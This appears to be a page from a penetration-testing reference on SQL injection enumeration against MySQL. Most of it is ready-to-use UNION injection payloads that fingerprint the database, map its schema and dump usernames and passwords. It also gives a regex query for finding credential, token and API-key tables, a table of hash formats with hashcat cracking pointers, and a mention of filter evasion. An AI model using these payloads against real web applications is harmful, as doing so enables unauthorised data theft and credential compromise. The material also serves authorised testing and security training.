Skip to content

SQLi Database Enumeration

Once you have a working UNION or other extraction primitive, walk the schema systematically: databases → tables → columns → data.

TL;DR (MySQL/MariaDB, 4 columns reflected)

Section titled “TL;DR (MySQL/MariaDB, 4 columns reflected)”
-- All databases
' UNION SELECT NULL, schema_name, NULL, NULL FROM information_schema.schemata-- -
-- Tables in a specific DB
' UNION SELECT NULL, table_name, table_schema, NULL FROM information_schema.tables WHERE table_schema='<DB>'-- -
-- Columns in a specific table
' UNION SELECT NULL, column_name, table_name, NULL FROM information_schema.columns WHERE table_name='<TABLE>'-- -
-- Dump data
' UNION SELECT NULL, <COL1>, <COL2>, NULL FROM <DB>.<TABLE>-- -

Every major DBMS exposes its schema through a metadata interface. The query shape changes per engine but the workflow is identical.

-- Current database name
SELECT database();
-- All databases
SELECT schema_name FROM information_schema.schemata;
-- Tables in current DB
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- Tables in any DB
SELECT table_name FROM information_schema.tables WHERE table_schema='<DB>';
-- Columns in a table
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='<TABLE>';
-- All columns in all tables (compact)
SELECT GROUP_CONCAT(table_name, '.', column_name SEPARATOR '\n')
FROM information_schema.columns
WHERE table_schema=database();

Default schemas to ignore: information_schema, mysql, performance_schema, sys.

Assume an id parameter, MySQL, 4 columns, position 2 reflected.

  1. Fingerprint:

    ' UNION SELECT NULL,@@version,NULL,NULL-- -
  2. Current database:

    ' UNION SELECT NULL,database(),NULL,NULL-- -
    → "appdb"
  3. List tables in appdb:

    ' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR ','),NULL,NULL
    FROM information_schema.tables WHERE table_schema='appdb'-- -
    → "users,posts,sessions,migrations"
  4. Get columns of users:

    ' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR ','),NULL,NULL
    FROM information_schema.columns WHERE table_name='users'-- -
    → "id,username,password,email,role,created_at"
  5. Dump credentials:

    ' UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL,NULL
    FROM users-- -

Names worth grepping for across all tables:

users, accounts, members, customers, employees, admins, staff
auth, login, credentials, passwords, secrets, tokens, sessions
config, settings, options, env
api_keys, oauth, jwt
payment, card, billing

Compact hunt query (MySQL):

' UNION SELECT NULL,GROUP_CONCAT(table_schema,'.',table_name SEPARATOR '\n'),NULL,NULL
FROM information_schema.tables
WHERE table_name REGEXP 'user|auth|cred|pass|secret|token|admin|api_key'
AND table_schema NOT IN ('mysql','information_schema','performance_schema','sys')-- -

Stored passwords are usually hashed. After dumping, identify the hash format:

LengthLikely hash
32 hexMD5
40 hexSHA-1
64 hexSHA-256
Starts with $2a$, $2b$, $2y$bcrypt
Starts with $argon2Argon2
Starts with $1$, $5$, $6$crypt MD5/SHA-256/SHA-512
pbkdf2_sha256$...Django

Crack offline with hashcat. Use hashcat --identify <file> if unsure. See the credentials section of the Codex (when published) for cracking workflow.

When GROUP_CONCAT/STRING_AGG truncates or output is one row at a time:

' UNION SELECT NULL,username,password,NULL FROM users LIMIT 1 OFFSET 0-- -
' UNION SELECT NULL,username,password,NULL FROM users LIMIT 1 OFFSET 1-- -

For blind enumeration where you can’t see results directly, see Boolean blind - same workflow, character-by-character extraction.

  • information_schema queries are slower than direct table queries on large databases. If you only need a few specific tables and you can guess names, query them directly first.
  • Some apps deny queries containing information_schema as a string. See Filter bypasses for evasion (concatenation, hex encoding, comment insertion).
  • In MySQL 8.0+, some information_schema views are restricted to users with appropriate privileges. If you can’t enumerate tables but you know names, query them directly.